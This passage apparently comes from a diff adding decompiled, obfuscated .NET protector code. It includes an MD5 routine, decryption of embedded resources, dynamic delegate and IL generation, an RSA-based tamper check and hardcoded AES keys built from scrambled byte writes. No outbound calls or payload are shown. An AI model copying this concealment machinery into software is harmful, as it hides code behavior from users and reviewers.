5U, 12, 6U, array); + Class12.dvsYoUdMrG(ref num8, num9, num6, num7, 6U, 17, 7U, array); + Class12.dvsYoUdMrG(ref num7, num8, num9, num6, 7U, 22, 8U, array); + Class12.dvsYoUdMrG(ref num6, num7, num8, num9, 8U, 7, 9U, array); + Class12.dvsYoUdMrG(ref num9, num6, num7, num8, 9U, 12, 10U, array); + Class12.dvsYoUdMrG(ref num8, num9, num6, num7, 10U, 17, 11U, array); + Class12.dvsYoUdMrG(ref num7, num8, num9, num6, 11U, 22, 12U, array); + Class12.dvsYoUdMrG(ref num6, num7, num8, num9, 12U, 7, 13U, array); + Class12.dvsYoUdMrG(ref num9, num6, num7, num8, 13U, 12, 14U, array); + Class12.dvsYoUdMrG(ref num8, num9, num6, num7, 14U, 17, 15U, array); + Class12.dvsYoUdMrG(ref num7, num8, num9, num6, 15U, 22, 16U, array); + Class12.smethod_1(ref num6, num7, num8, num9, 1U, 5, 17U, array); + Class12.smethod_1(ref num9, num6, num7, num8, 6U, 9, 18U, array); + Class12.smethod_1(ref num8, num9, num6, num7, 11U, 14, 19U, array); + Class12.smethod_1(ref num7, num8, num9, num6, 0U, 20, 20U, array); + Class12.smethod_1(ref num6, num7, num8, num9, 5U, 5, 21U, array); + Class12.smethod_1(ref num9, num6, num7, num8, 10U, 9, 22U, array); + Class12.smethod_1(ref num8, num9, num6, num7, 15U, 14, 23U, array); + Class12.smethod_1(ref num7, num8, num9, num6, 4U, 20, 24U, array); + Class12.smethod_1(ref num6, num7, num8, num9, 9U, 5, 25U, array); + Class12.smethod_1(ref num9, num6, num7, num8, 14U, 9, 26U, array); + Class12.smethod_1(ref num8, num9, num6, num7, 3U, 14, 27U, array); + Class12.smethod_1(ref num7, num8, num9, num6, 8U, 20, 28U, array); + Class12.smethod_1(ref num6, num7, num8, num9, 13U, 5, 29U, array); + Class12.smethod_1(ref num9, num6, num7, num8, 2U, 9, 30U, array); + Class12.smethod_1(ref num8, num9, num6, num7, 7U, 14, 31U, array); + Class12.smethod_1(ref num7, num8, num9, num6, 12U, 20, 32U, array); + Class12.smethod_2(ref num6, num7, num8, num9, 5U, 4, 33U, array); + Class12.smethod_2(ref num9, num6, num7, num8, 8U, 11, 34U, array); + Class12.smethod_2(ref num8, num9, num6, num7, 11U, 16, 35U, array); + Class12.smethod_2(ref num7, num8, num9, num6, 14U, 23, 36U, array); + Class12.smethod_2(ref num6, num7, num8, num9, 1U, 4, 37U, array); + Class12.smethod_2(ref num9, num6, num7, num8, 4U, 11, 38U, array); + Class12.smethod_2(ref num8, num9, num6, num7, 7U, 16, 39U, array); + Class12.smethod_2(ref num7, num8, num9, num6, 10U, 23, 40U, array); + Class12.smethod_2(ref num6, num7, num8, num9, 13U, 4, 41U, array); + Class12.smethod_2(ref num9, num6, num7, num8, 0U, 11, 42U, array); + Class12.smethod_2(ref num8, num9, num6, num7, 3U, 16, 43U, array); + Class12.smethod_2(ref num7, num8, num9, num6, 6U, 23, 44U, array); + Class12.smethod_2(ref num6, num7, num8, num9, 9U, 4, 45U, array); + Class12.smethod_2(ref num9, num6, num7, num8, 12U, 11, 46U, array); + Class12.smethod_2(ref num8, num9, num6, num7, 15U, 16, 47U, array); + Class12.smethod_2(ref num7, num8, num9, num6, 2U, 23, 48U, array); + Class12.smethod_3(ref num6, num7, num8, num9, 0U, 6, 49U, array); + Class12.smethod_3(ref num9, num6, num7, num8, 7U, 10, 50U, array); + Class12.smethod_3(ref num8, num9, num6, num7, 14U, 15, 51U, array); + Class12.smethod_3(ref num7, num8, num9, num6, 5U, 21, 52U, array); + Class12.smethod_3(ref num6, num7, num8, num9, 12U, 6, 53U, array); + Class12.smethod_3(ref num9, num6, num7, num8, 3U, 10, 54U, array); + Class12.smethod_3(ref num8, num9, num6, num7, 10U, 15, 55U, array); + Class12.smethod_3(ref num7, num8, num9, num6, 1U, 21, 56U, array); + Class12.smethod_3(ref num6, num7, num8, num9, 8U, 6, 57U, array); + Class12.smethod_3(ref num9, num6, num7, num8, 15U, 10, 58U, array); + Class12.smethod_3(ref num8, num9, num6, num7, 6U, 15, 59U, array); + Class12.smethod_3(ref num7, num8, num9, num6, 13U, 21, 60U, array); + Class12.smethod_3(ref num6, num7, num8, num9, 4U, 6, 61U, array); + Class12.smethod_3(ref num9, num6, num7, num8, 11U, 10, 62U, array); + Class12.smethod_3(ref num8, num9, num6, num7, 2U, 15, 63U, array); + Class12.smethod_3(ref num7, num8, num9, num6, 9U, 21, 64U, array); + num6 += num13; + num7 += num14; + num8 += num15; + num9 += num16; + } + byte[] array4 = new byte[16]; + Array.Copy(BitConverter.GetBytes(num6), 0, array4, 0, 4); + Array.Copy(BitConverter.GetBytes(num7), 0, array4, 4, 4); + Array.Copy(BitConverter.GetBytes(num8), 0, array4, 8, 4); + Array.Copy(BitConverter.GetBytes(num9), 0, array4, 12, 4); + return array4; + } + + // Token: 0x06000774 RID: 1908 RVA: 0x000068ED File Offset: 0x00004AED + private static void dvsYoUdMrG(ref uint uint_1, uint uint_2, uint uint_3, uint uint_4, uint uint_5, ushort ushort_0, uint uint_6, uint[] object_4) + { + uint_1 = uint_2 + Class12.smethod_4(uint_1 + ((uint_2 & uint_3) | (~uint_2 & uint_4)) + object_4[(int)uint_5] + Class12.uint_0[(int)(uint_6 - 1U)], ushort_0); + } + + // Token: 0x06000775 RID: 1909 RVA: 0x00006916 File Offset: 0x00004B16 + private static void smethod_1(ref uint uint_1, uint uint_2, uint uint_3, uint uint_4, uint uint_5, ushort ushort_0, uint uint_6, uint[] object_4) + { + uint_1 = uint_2 + Class12.smethod_4(uint_1 + ((uint_2 & uint_4) | (uint_3 & ~uint_4)) + object_4[(int)uint_5] + Class12.uint_0[(int)(uint_6 - 1U)], ushort_0); + } + + // Token: 0x06000776 RID: 1910 RVA: 0x0000693F File Offset: 0x00004B3F + private static void smethod_2(ref uint uint_1, uint uint_2, uint uint_3, uint uint_4, uint uint_5, ushort ushort_0, uint uint_6, uint[] object_4) + { + uint_1 = uint_2 + Class12.smethod_4(uint_1 + (uint_2 ^ uint_3 ^ uint_4) + object_4[(int)uint_5] + Class12.uint_0[(int)(uint_6 - 1U)], ushort_0); + } + + // Token: 0x06000777 RID: 1911 RVA: 0x00006965 File Offset: 0x00004B65 + private static void smethod_3(ref uint uint_1, uint uint_2, uint uint_3, uint uint_4, uint uint_5, ushort ushort_0, uint uint_6, uint[] object_4) + { + uint_1 = uint_2 + Class12.smethod_4(uint_1 + (uint_3 ^ (uint_2 | ~uint_4)) + object_4[(int)uint_5] + Class12.uint_0[(int)(uint_6 - 1U)], ushort_0); + } + + // Token: 0x06000778 RID: 1912 RVA: 0x0000698C File Offset: 0x00004B8C + private static uint smethod_4(uint uint_1, ushort ushort_0) + { + return uint_1 >> (int)(32 - ushort_0) | uint_1 << (int)ushort_0; + } + + // Token: 0x06000779 RID: 1913 RVA: 0x0000699E File Offset: 0x00004B9E + internal static bool smethod_5() + { + if (!Class12.bool_5) + { + Class12.smethod_7(); + Class12.bool_5 = true; + } + return Class12.fQgAnroQoI; + } + + // Token: 0x0600077A RID: 1914 RVA: 0x00002300 File Offset: 0x00000500 + internal Class12() + { + } + + // Token: 0x0600077B RID: 1915 RVA: 0x000209E0 File Offset: 0x0001EBE0 + private void method_1(byte[] byte_2, byte[] byte_3, byte[] byte_4) + { + int num = byte_4.Length % 4; + int num2 = byte_4.Length / 4; + byte[] array = new byte[byte_4.Length]; + int num3 = byte_2.Length / 4; + uint num4 = 0U; + if (num > 0) + { + num2++; + } + for (int i = 0; i < num2; i++) + { + int num5 = i % num3; + int num6 = i * 4; + uint num7 = (uint)(num5 * 4); + uint num8 = (uint)((int)byte_2[(int)(num7 + 3U)] << 24 | (int)byte_2[(int)(num7 + 2U)] << 16 | (int)byte_2[(int)(num7 + 1U)] << 8 | (int)byte_2[(int)num7]); + uint num9 = 255U; + int num10 = 0; + uint num11; + if (i == num2 - 1 && num > 0) + { + num11 = 0U; + num4 += num8; + for (int j = 0; j < num; j++) + { + if (j > 0) + { + num11 <<= 8; + } + num11 |= (uint)byte_4[byte_4.Length - (1 + j)]; + } + } + else + { + num4 += num8; + num7 = (uint)num6; + num11 = (uint)((int)byte_4[(int)(num7 + 3U)] << 24 | (int)byte_4[(int)(num7 + 2U)] << 16 | (int)byte_4[(int)(num7 + 1U)] << 8 | (int)byte_4[(int)num7]); + } + uint num13; + uint num12 = num13 = num4; + uint num14 = 1929424900U; + uint num15 = 2289769640U ^ num13; + uint num16 = num15 & 16711935U; + num15 &= 4278255360U; + uint num17 = num15 >> 8 | num16 << 8; + uint num18 = 932744464U; + uint num19 = (num17 ^ num17) - num17; + if (num13 == 0U) + { + num13 -= 1U; + } + uint num20 = num17 / num13 + num13; + num13 = num17 - num17 - num20 + num17; + num18 = 9495U * (num18 & 65535U) - (num18 >> 16); + num19 = 10476U * (num19 & 65535U) - (num19 >> 16); + num17 = 22014U * num17 + num13; + num13 ^= num13 << 9; + num13 += num19; + num13 ^= num13 << 1; + num13 += num13; + num13 ^= num13 >> 5; + num13 += num14; + num13 = ((num19 << 11) + num17 ^ num19) + num13; + num4 = num12 + (uint)num13; + if (i == num2 - 1 && num > 0) + { + uint num21 = num4 ^ num11; + for (int k = 0; k < num; k++) + { + if (k > 0) + { + num9 <<= 8; + num10 += 8; + } + array[num6 + k] = (byte)((num21 & num9) >> num10); + } + } + else + { + uint num22 = num4 ^ num11; + array[num6] = (byte)(num22 & 255U); + array[num6 + 1] = (byte)((num22 & 65280U) >> 8); + array[num6 + 2] = (byte)((num22 & 16711680U) >> 16); + array[num6 + 3] = (byte)((num22 & 4278190080U) >> 24); + } + } + Class12.byte_1 = array; + } + + // Token: 0x0600077C RID: 1916 RVA: 0x00020D3C File Offset: 0x0001EF3C + internal static SymmetricAlgorithm smethod_6() + { + SymmetricAlgorithm result = null; + if (!Class12.smethod_5()) + { + try + { + return new RijndaelManaged(); + } + catch + { + try + { + result = (SymmetricAlgorithm)Activator.CreateInstance("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Security.Cryptography.AesCryptoServiceProvider").Unwrap(); + } + catch + { + result = (SymmetricAlgorithm)Activator.CreateInstance("System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Security.Cryptography.AesCryptoServiceProvider").Unwrap(); + } + return result; + } + } + result = new AesCryptoServiceProvider(); + return result; + } + + // Token: 0x0600077D RID: 1917 RVA: 0x00020DBC File Offset: 0x0001EFBC + internal static void smethod_7() + { + try + { + new MD5CryptoServiceProvider(); + } + catch + { + Class12.fQgAnroQoI = true; + return; + } + try + { + Class12.fQgAnroQoI = CryptoConfig.AllowOnlyFipsAlgorithms; + } + catch + { + } + } + + // Token: 0x0600077E RID: 1918 RVA: 0x000069B7 File Offset: 0x00004BB7 + internal static byte[] smethod_8(byte[] byte_2) + { + if (Class12.smethod_5()) + { + return Class12.smethod_0(byte_2); + } + return new MD5CryptoServiceProvider().ComputeHash(byte_2); + } + + // Token: 0x0600077F RID: 1919 RVA: 0x00020E08 File Offset: 0x0001F008 + internal static void smethod_9(HashAlgorithm hashAlgorithm_0, Stream stream_0, uint uint_1, byte[] byte_2) + { + while (uint_1 > 0U) + { + int num = (int)((uint_1 <= (uint)byte_2.Length) ? uint_1 : ((uint)byte_2.Length)); + stream_0.Read(byte_2, 0, num); + Class12.smethod_10(hashAlgorithm_0, byte_2, 0, num); + uint_1 -= (uint)num; + } + } + + // Token: 0x06000780 RID: 1920 RVA: 0x000069D2 File Offset: 0x00004BD2 + internal static void smethod_10(HashAlgorithm hashAlgorithm_0, byte[] byte_2, int int_6, int int_7) + { + hashAlgorithm_0.TransformBlock(byte_2, int_6, int_7, byte_2, int_6); + } + + // Token: 0x06000781 RID: 1921 RVA: 0x00020E44 File Offset: 0x0001F044 + internal static uint smethod_11(uint uint_1, int int_6, long long_2, BinaryReader binaryReader_0) + { + for (int i = 0; i < int_6; i++) + { + binaryReader_0.BaseStream.Position = long_2 + (long)(i * 40 + 8); + uint num = binaryReader_0.ReadUInt32(); + uint num2 = binaryReader_0.ReadUInt32(); + binaryReader_0.ReadUInt32(); + uint num3 = binaryReader_0.ReadUInt32(); + if (num2 <= uint_1 && uint_1 < num2 + num) + { + return num3 + uint_1 - num2; + } + } + return 0U; + } + + // Token: 0x06000782 RID: 1922 RVA: 0x00020EA0 File Offset: 0x0001F0A0 + public static void smethod_12(RuntimeTypeHandle runtimeTypeHandle_0) + { + try + { + Type typeFromHandle = Type.GetTypeFromHandle(runtimeTypeHandle_0); + if (Class12.dictionary_0 == null) + { + object obj = Class12.object_3; + lock (obj) + { + Dictionary dictionary = new Dictionary(); + BinaryReader binaryReader = new BinaryReader(typeof(Class12).Assembly.GetManifestResourceStream("U2em1bf27GlLaO8n2j.oPNUNrDDw5Jk3GVNgQ")); + binaryReader.BaseStream.Position = 0L; + byte[] array = binaryReader.ReadBytes((int)binaryReader.BaseStream.Length); + binaryReader.Close(); + if (array.Length != 0) + { + int num = array.Length % 4; + int num2 = array.Length / 4; + byte[] array2 = new byte[array.Length]; + uint num3 = 0U; + if (num > 0) + { + num2++; + } + for (int i = 0; i < num2; i++) + { + int num4 = i * 4; + uint num5 = 255U; + int num6 = 0; + uint num7; + if (i == num2 - 1 && num > 0) + { + num7 = 0U; + for (int j = 0; j < num; j++) + { + if (j > 0) + { + num7 <<= 8; + } + num7 |= (uint)array[array.Length - (1 + j)]; + } + } + else + { + uint num8 = (uint)num4; + num7 = (uint)((int)array[(int)(num8 + 3U)] << 24 | (int)array[(int)(num8 + 2U)] << 16 | (int)array[(int)(num8 + 1U)] << 8 | (int)array[(int)num8]); + } + num3 = num3; + uint num9 = num3; + uint num10 = num3; + uint num11 = 1929424900U; + uint num12 = 2289769640U ^ num10; + uint num13 = num12 & 16711935U; + num12 &= 4278255360U; + uint num14 = num12 >> 8 | num13 << 8; + uint num15 = 932744464U; + uint num16 = (num14 ^ num14) - num14; + if (num10 == 0U) + { + num10 -= 1U; + } + uint num17 = num14 / num10 + num10; + num10 = num14 - num14 - num17 + num14; + num15 = 9495U * (num15 & 65535U) - (num15 >> 16); + num16 = 10476U * (num16 & 65535U) - (num16 >> 16); + num14 = 22014U * num14 + num10; + num10 ^= num10 << 9; + num10 += num16; + num10 ^= num10 << 1; + num10 += num10; + num10 ^= num10 >> 5; + num10 += num11; + num10 = ((num16 << 11) + num14 ^ num16) + num10; + num3 = num9 + (uint)num10; + if (i == num2 - 1 && num > 0) + { + uint num18 = num3 ^ num7; + for (int k = 0; k < num; k++) + { + if (k > 0) + { + num5 <<= 8; + num6 += 8; + } + array2[num4 + k] = (byte)((num18 & num5) >> num6); + } + } + else + { + uint num19 = num3 ^ num7; + array2[num4] = (byte)(num19 & 255U); + array2[num4 + 1] = (byte)((num19 & 65280U) >> 8); + array2[num4 + 2] = (byte)((num19 & 16711680U) >> 16); + array2[num4 + 3] = (byte)((num19 & 4278190080U) >> 24); + } + } + array = array2; + int num20 = array.Length / 8; + Class12.Class15 @class = new Class12.Class15(new MemoryStream(array)); + for (int l = 0; l < num20; l++) + { + int key = @class.method_3(); + int value = @class.method_3(); + dictionary.Add(key, value); + } + @class.method_4(); + } + Class12.dictionary_0 = dictionary; + } + } + FieldInfo[] fields = typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField); + for (int m = 0; m < fields.Length; m++) + { + try + { + FieldInfo fieldInfo = fields[m]; + int metadataToken = fieldInfo.MetadataToken; + int num21 = Class12.dictionary_0[metadataToken]; + bool flag2 = (num21 & 1073741824) > 0; + num21 &= 1073741823; + MethodInfo methodInfo = (MethodInfo)typeof(Class12).Module.ResolveMethod(num21, typeFromHandle.GetGenericArguments(), new Type[0]); + if (methodInfo.IsStatic) + { + fieldInfo.SetValue(null, Delegate.CreateDelegate(fieldInfo.FieldType, methodInfo)); + } + else + { + ParameterInfo[] parameters = methodInfo.GetParameters(); + int num22 = parameters.Length + 1; + Type[] array3 = new Type[num22]; + if (methodInfo.DeclaringType.IsValueType) + { + array3[0] = methodInfo.DeclaringType.MakeByRefType(); + } + else + { + array3[0] = typeof(object); + } + for (int n = 0; n < parameters.Length; n++) + { + array3[n + 1] = parameters[n].ParameterType; + } + DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodInfo.ReturnType, array3, typeFromHandle, true); + ILGenerator ilgenerator = dynamicMethod.GetILGenerator(); + for (int num23 = 0; num23 < num22; num23++) + { + switch (num23) + { + case 0: + ilgenerator.Emit(OpCodes.Ldarg_0); + break; + case 1: + ilgenerator.Emit(OpCodes.Ldarg_1); + break; + case 2: + ilgenerator.Emit(OpCodes.Ldarg_2); + break; + case 3: + ilgenerator.Emit(OpCodes.Ldarg_3); + break; + default: + ilgenerator.Emit(OpCodes.Ldarg_S, num23); + break; + } + } + ilgenerator.Emit(OpCodes.Tailcall); + ilgenerator.Emit(flag2 ? OpCodes.Callvirt : OpCodes.Call, methodInfo); + ilgenerator.Emit(OpCodes.Ret); + fieldInfo.SetValue(null, dynamicMethod.CreateDelegate(typeFromHandle)); + } + } + catch (Exception) + { + } + } + } + catch (Exception) + { + } + } + + // Token: 0x06000783 RID: 1923 RVA: 0x000069E0 File Offset: 0x00004BE0 + private static uint smethod_13(uint uint_1) + { + return (uint)"V8vU2V3RMKGsRDNiU".Length; + } + + // Token: 0x06000784 RID: 1924 RVA: 0x000214EC File Offset: 0x0001F6EC + private static void smethod_14(Stream stream_0, int int_6) + { + RSACryptoServiceProvider.UseMachineKeyStore = true; + Class12.rsacryptoServiceProvider_0 = new RSACryptoServiceProvider(); + string location = typeof(Class12).Assembly.Location; + if (location != null && location.Length != 0) + { + HashAlgorithm obj = null; + string str = null; + try + { + obj = SHA1.Create(); + str = CryptoConfig.MapNameToOID("SHA1"); + if (!File.Exists(location)) + { + goto IL_37; + } + } + catch + { + goto IL_37; + } + bool flag = false; + try + { + Class12.Class15 @class = new Class12.Class15(Class12.assembly_0.GetManifestResourceStream("7uLbEBRPsZW5JihXkm.Zp8vwLYAteMhuSyYxg")); + @class.method_0().Position = 0L; + byte[] obj2 = @class.method_1((int)@class.method_0().Length); + byte[] obj3 = new byte[32]; + obj3[0] = 110; + obj3[0] = 128; + obj3[0] = 161; + obj3[0] = 146; + obj3[0] = 148; + obj3[0] = 75; + obj3[1] = 120; + obj3[1] = 146; + obj3[1] = 160; + obj3[1] = 141; + obj3[1] = 40; + obj3[1] = 197; + obj3[2] = 128; + obj3[2] = 162; + obj3[2] = 125; + obj3[2] = 93; + obj3[2] = 161; + obj3[3] = 153; + obj3[3] = 137; + obj3[3] = 143; + obj3[3] = 194; + obj3[4] = 106; + obj3[4] = 155; + obj3[4] = 26; + obj3[4] = 115; + obj3[4] = 100; + obj3[4] = 179; + obj3[5] = 112; + obj3[5] = 228; + obj3[5] = 231; + obj3[5] = 88; + obj3[6] = 197; + obj3[6] = 126; + obj3[6] = 130; + obj3[6] = 136; + obj3[6] = 81; + obj3[7] = 145; + obj3[7] = 136; + obj3[7] = 152; + obj3[7] = 111; + obj3[7] = 116; + obj3[8] = 141; + obj3[8] = 144; + obj3[8] = 205; + obj3[8] = 206; + obj3[8] = 140; + obj3[8] = 91; + obj3[9] = 3; + obj3[9] = 110; + obj3[9] = 165; + obj3[9] = 175; + obj3[10] = 120; + obj3[10] = 85; + obj3[10] = 147; + obj3[10] = 98; + obj3[10] = 134; + obj3[11] = 90; + obj3[11] = 146; + obj3[11] = 141; + obj3[11] = 156; + obj3[11] = 118; + obj3[11] = 142; + obj3[12] = 130; + obj3[12] = 49; + obj3[12] = 51; + obj3[13] = 150; + obj3[13] = 103; + obj3[13] = 43; + obj3[13] = 207; + obj3[13] = 45; + obj3[14] = 118; + obj3[14] = 99; + obj3[14] = 127; + obj3[14] = 180; + obj3[14] = 195; + obj3[14] = 196; + obj3[15] = 177; + obj3[15] = 88; + obj3[15] = 19; + obj3[16] = 101; + obj3[16] = 130; + obj3[16] = 182; + obj3[16] = 110; + obj3[16] = 98; + obj3[16] = 240; + obj3[17] = 183; + obj3[17] = 141; + obj3[17] = 74; + obj3[18] = 159; + obj3[18] = 143; + obj3[18] = 91; + obj3[19] = 88; + obj3[19] = 129; + obj3[19] = 116; + obj3[19] = 146; + obj3[19] = 195; + obj3[20] = 20; + obj3[20] = 164; + obj3[20] = 124; + obj3[21] = 151; + obj3[21] = 132; + obj3[21] = 213; + obj3[22] = 95; + obj3[22] = 160; + obj3[22] = 93; + obj3[22] = 139; + obj3[22] = 79; + obj3[22] = 8; + obj3[23] = 122; + obj3[23] = 137; + obj3[23] = 185; + obj3[23] = 238; + obj3[24] = 156; + obj3[24] = 138; + obj3[24] = 142; + obj3[24] = 134; + obj3[24] = 139; + obj3[25] = 86; + obj3[25] = 160; + obj3[25] = 153; + obj3[25] = 31; + obj3[25] = 124; + obj3[25] = 188; + obj3[26] = 134; + obj3[26] = 97; + obj3[26] = 129; + obj3[26] = 202; + obj3[27] = 88; + obj3[27] = 142; + obj3[27] = 144; + obj3[27] = 133; + obj3[27] = 229; + obj3[28] = 86; + obj3[28] = 76; + obj3[28] = 71; + obj3[29] = 162; + obj3[29] = 191; + obj3[29] = 108; + obj3[29] = 117; + obj3[29] = 229; + obj3[30] = 120; + obj3[30] = 191; + obj3[30] = 98; + obj3[30] = 129; + obj3[31] = 103; + obj3[31] = 137; + obj3[31] = 109; + obj3[31] = 87; + obj3[31] = 161; + byte[] rgbKey = obj3; + byte[] obj4 = new byte[16]; + obj4[0] = 145; + obj4[0] = 138; + obj4[0] = 161; + obj4[0] = 70; + obj4[1] = 170; + obj4[1] = 121; + obj4[1] = 114; + obj4[1] = 111; + obj4[1] = 114; + obj4[1] = 147; + obj4[2] = 134; + obj4[2] = 155; + obj4[2] = 7; + obj4[3] = 162; + obj4[3] = 159; + obj4[3] = 156; + obj4[3] = 132; + obj4[3] = 31; + obj4[4] = 93; + obj4[4] = 112; + obj4[4] = 237; + obj4[5] = 127; + obj4[5] = 124; + obj4[5] = 89; + obj4[6] = 59; + obj4[6] = 159; + obj4[6] = 175; + obj4[7] = 163; + obj4[7] = 152; + obj4[7] = 90; + obj4[7] = 112; + obj4[7] = 108; + obj4[7] = 87; + obj4[8] = 96; + obj4[8] = 67; + obj4[8] = 143; + obj4[8] = 94; + obj4[8] = 203; + obj4[9] = 128; + obj4[9] = 137; + obj4[9] = 136; + obj4[9] = 138; + obj4[9] = 15; + obj4[10] = 106; + obj4[10] = 115; + obj4[10] = 96; + obj4[10] = 89; + obj4[10] = 131; + obj4[10] = 250; + obj4[11] = 128; + obj4[11] = 160; + obj4[11] = 143; + obj4[11] = 164; + obj4[12] = 95; + obj4[12] = 164; + obj4[12] = 154; + obj4[12] = 57; + obj4[13] = 104; + obj4[13] = 169; + obj4[13] = 99; + obj4[13] = 94; + obj4[14] = 112; + obj4[14] = 133; + obj4[14] = 140; + obj4[14] = 107; + obj4[15] = 139; + obj4[15] = 128; + obj4[15] = 93; + obj4[15] = 166; + obj4[15] = 170; + byte[] rgbIV = obj4; + SymmetricAlgorithm symmetricAlgorithm = Class12.smethod_6(); + symmetricAlgorithm.Mode = CipherMode.CBC; + ICryptoTransform transform = symmetricAlgorithm.CreateDecryptor(rgbKey, rgbIV); + MemoryStream obj5 = (MemoryStream)Class12.smethod_28(); + CryptoStream cryptoStream = new CryptoStream(obj5, transform, CryptoStreamMode.Write); + cryptoStream.Write(obj2, 0, obj2.Length); + cryptoStream.FlushFinalBlock(); + Class12.rsacryptoServiceProvider_0.FromXmlString(Encoding.UTF8.GetString(Class12.smethod_29(obj5))); + obj5.Close(); + cryptoStream.Close(); + @class.method_4(); + } + catch + { + flag = true; + } + if (!flag) + { + BinaryReader obj6 = null; + try + { + FileStream obj7 = new FileStream(location, FileMode.Open, FileAccess.Read, FileShare.Read); + obj6 = new BinaryReader(obj7); + byte[] obj8 = new byte[65536]; + Class12.smethod_9(obj, obj7, 152U, obj8); + bool flag2 = obj6.ReadUInt16() != 523; + int num = flag2 ? 96 : 112; + obj7.Position = 152L; + obj7.Read(obj8, 0, num); + obj8[64] = 0; + obj8[65] = 0; + obj8[66] = 0; + obj8[67] = 0; + Class12.smethod_10(obj, obj8, 0, num); + obj7.Read(obj8, 0, 128); + obj8[32] = 0; + obj8[33] = 0; + obj8[34] = 0; + obj8[35] = 0; + obj8[36] = 0; + obj8[37] = 0; + obj8[38] = 0; + obj8[39] = 0; + Class12.smethod_10(obj, obj8, 0, 128); + long position = obj7.Position; + obj7.Position = 134L; + int num2 = (int)obj6.ReadUInt16(); + obj7.Position = position; + Class12.smethod_9(obj, obj7, (uint)(num2 * 40), obj8); + long position2 = obj7.Position; + if (flag2) + { + obj7.Position = 360L; + } + else + { + obj7.Position = 376L; + } + uint num3 = Class12.smethod_11(obj6.ReadUInt32(), num2, position, obj6); + obj7.Position = (long)((ulong)(num3 + 32U)); + uint uint_ = obj6.ReadUInt32(); + uint num4 = obj6.ReadUInt32(); + long num5 = (long)((ulong)Class12.smethod_11(uint_, num2, position, obj6)); + long num6 = num5 + (long)((ulong)num4); + obj7.Position = position2; + for (int i = 0; i < num2; i++) + { + obj7.Position = position + (long)(i * 40) + 16L; + uint num7 = obj6.ReadUInt32(); + uint num8 = obj6.ReadUInt32(); + obj7.Position = (long)((ulong)num8); + while (num7 > 0U) + { + long position3 = obj7.Position; + if (num5 > position3 || position3 >= num6) + { + if (position3 >= num6) + { + Class12.smethod_9(obj, obj7, num7, obj8); + break; + } + uint num9 = (uint)Math.Min(num5 - position3, (long)((ulong)num7)); + Class12.smethod_9(obj, obj7, num9, obj8); + num7 -= num9; + } + else + { + uint num10 = (uint)(num6 - position3); + if (num10 >= num7) + { + break; + } + num7 -= num10; + obj7.Position += (long)((ulong)num10); + } + } + } + obj.TransformFinalBlock(new byte[0], 0, 0); + obj7.Position = num5; + byte[] obj9 = obj6.ReadBytes((int)num4); + Array.Reverse(obj9); + flag = !Class12.rsacryptoServiceProvider_0.VerifyHash(obj.Hash, str, obj9); + } + catch + { + flag = true; + } + try + { + if (obj6 != null) + { + obj6.Close(); + } + } + catch + { + } + } + if (flag) + { + throw new Exception(typeof(Class12).Assembly.GetName().Name + " "); + } + flag = false; + } + IL_37: + Class12.Class15 class2 = new Class12.Class15(stream_0); + class2.method_0().Position = 0L; + byte[] obj10 = class2.method_1((int)class2.method_0().Length); + class2.method_4(); + byte[] obj11 = new byte[32]; + obj11[0] = 135; + obj11[0] = 19; + obj11[0] = 79; + obj11[0] = 50; + obj11[1] = 116; + obj11[1] = 94; + obj11[1] = 102; + obj11[1] = 231; + obj11[2] = 127; + obj11[2] = 136; + obj11[2] = 108; + obj11[2] = 129; + obj11[2] = 120; + obj11[2] = 168; + obj11[3] = 167; + obj11[3] = 107; + obj11[3] = 159; + obj11[3] = 121; + obj11[3] = 144; + obj11[4] = 88; + obj11[4] = 87; + obj11[4] = 241; + obj11[5] = 49; + obj11[5] = 91; + obj11[5] = 12; + obj11[6] = 161; + obj11[6] = 86; + obj11[6] = 116; + obj11[6] = 45; + obj11[6] = 136; + obj11[7] = 160; + obj11[7] = 135; + obj11[7] = 147; + obj11[7] = 151; + obj11[7] = 118; + obj11[8] = 77; + obj11[8] = 151; + obj11[8] = 167; + obj11[9] = 112; + obj11[9] = 106; + obj11[9] = 88; + obj11[9] = 105; + obj11[9] = 192; + obj11[10] = 150; + obj11[10] = 129; + obj11[10] = 52; + obj11[10] = 182; + obj11[11] = 33; + obj11[11] = 157; + obj11[11] = 119; + obj11[11] = 185; + obj11[11] = 94; + obj11[11] = 104; + obj11[12] = 124; + obj11[12] = 103; + obj11[12] = 115; + obj11[13] = 108; + obj11[13] = 122; + obj11[13] = 122; + obj11[13] = 128; + obj11[13] = 97; + obj11[13] = 0; + obj11[14] = 86; + obj11[14] = 110; + obj11[14] = 109; + obj11[14] = 116; + obj11[14] = 103; + obj11[14] = 21; + obj11[15] = 85; + obj11[15] = 131; + obj11[15] = 112; + obj11[15] = 86; + obj11[15] = 158; + obj11[15] = 44; + obj11[16] = 110; + obj11[16] = 122; + obj11[16] = 96; + obj11[16] = 174; + obj11[17] = 118; + obj11[17] = 153; + obj11[17] = 212; + obj11[17] = 131; + obj11[18] = 95; + obj11[18] = 81; + obj11[18] = 13; + obj11[19] = 128; + obj11[19] = 101; + obj11[19] = 169; + obj11[19] = 210; + obj11[20] = 141; + obj11[20] = 135; + obj11[20] = 205; + obj11[21] = 118; + obj11[21] = 202; + obj11[21] = 80; + obj11[21] = 144; + obj11[21] = 156; + obj11[21] = 101; + obj11[22] = 148; + obj11[22] = 108; + obj11[22] = 155; + obj11[22] = 108; + obj11[22] = 48; + obj11[23] = 133; + obj11[23] = 160; + obj11[23] = 1; + obj11[24] = 130; + obj11[24] = 102; + obj11[24] = 103; + obj11[24] = 94; + obj11[24] = 166; + obj11[25] = 135; + obj11[25] = 203; + obj11[25] = 149; + obj11[26] = 126; + obj11[26] = 104; + obj11[26] = 155; + obj11[26] = 158; + obj11[26] = 79; + obj11[26] = 11; + obj11[27] = 66; + obj11[27] = 94; + obj11[27] = 57; + obj11[28] = 78; + obj11[28] = 144; + obj11[28] = 78; + obj11[29] = 166; + obj11[29] = 16; + obj11[29] = 197; + obj11[30] = 180; + obj11[30] = 194; + obj11[30] = 167; + obj11[30] = 149; + obj11[30] = 222; + obj11[31] = 130; + obj11[31] = 138; + obj11[31] = 190; + byte[] obj12 = obj11; + byte[] obj13 = new byte[16]; + obj13[0] = 117; + obj13[0] = 166; + obj13[0] = 114; + obj13[0] = 238; + obj13[1] = 105; + obj13[1] = 133; + obj13[1] = 169; + obj13[1] = 103; + obj13[1] = 